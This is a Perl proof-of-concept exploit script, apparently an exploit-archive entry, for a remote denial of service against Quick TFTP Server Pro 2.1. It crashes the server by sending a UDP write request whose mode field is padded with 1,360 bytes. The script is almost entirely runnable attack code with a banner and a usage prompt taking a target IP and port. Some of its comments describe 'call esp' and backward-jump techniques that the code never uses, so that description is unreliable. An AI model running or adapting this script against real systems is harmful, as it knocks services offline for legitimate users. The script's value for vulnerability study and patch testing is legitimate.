#!/usr/bin/perl
use IO::Socket::INET;
# Exploit Title: Quick TFTP Server Pro 2.1 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 12 january 2024
# Vendor Homepage: https://www.tallsoft.com/
# Download to demo: https://drive.google.com/file/d/1Q4tIYjtv9Aqe5VE1fwnT18d3Cc-xkYEX/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Quick TFTP Server Pro 2.1
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=yz7_ImFYueA
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to TFTP.
#The following request sends a large amount of data to the TFTP to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
    $sis="$^O";
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
    system("$cmd");
        intro();
    main();
print "\t    ==> Connecting to webserver... \n\n";
sleep(1);
my $filename = "exploit";
$shell = "A"x317;
my $mode = "A" x 1360;
my $muha = "\x00\x02" .$filename . "\x00" .$mode;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or die "socket() failed: $!";
send(SOCKET, $muha, 0, sockaddr_in($port, inet_aton($ip))) or die "send() failed: $!";  
print "\t    ==> Done! Exploited!";
   sub intro {
      print q {
     _________
    |         |
    | Exploit |==( )    //////
    |_________|   |||   | o o|                 
                    ||| ( c  )                  ____
                     ||| \= /                  ||   \_
                      ||||||                   ||     |
                      ||||||                ...||__/|-"
                      ||||||             __|________|__
                        |||             |______________|
                        |||             || ||      || ||
                        |||             || ||      || ||
      ------------|||-------------||-||------||-||-------
                        |__>            || ||      || ||          
                              [+] Quick TFTP Server Pro 2.1 - Denial of Service (DoS)
      [*] Coded by Fernando Mengali
      [@] e-mail: [email protected]
      }
  }
  sub main {
our ($ip, $port) = @ARGV;
      unless (defined($ip) && defined($port)) {
        print "\n\tUsage: $0 <ip> <port>                 \n";
        exit(-1);
      }
  }
#3. Solution/ How to fix:
# This version product is deprecated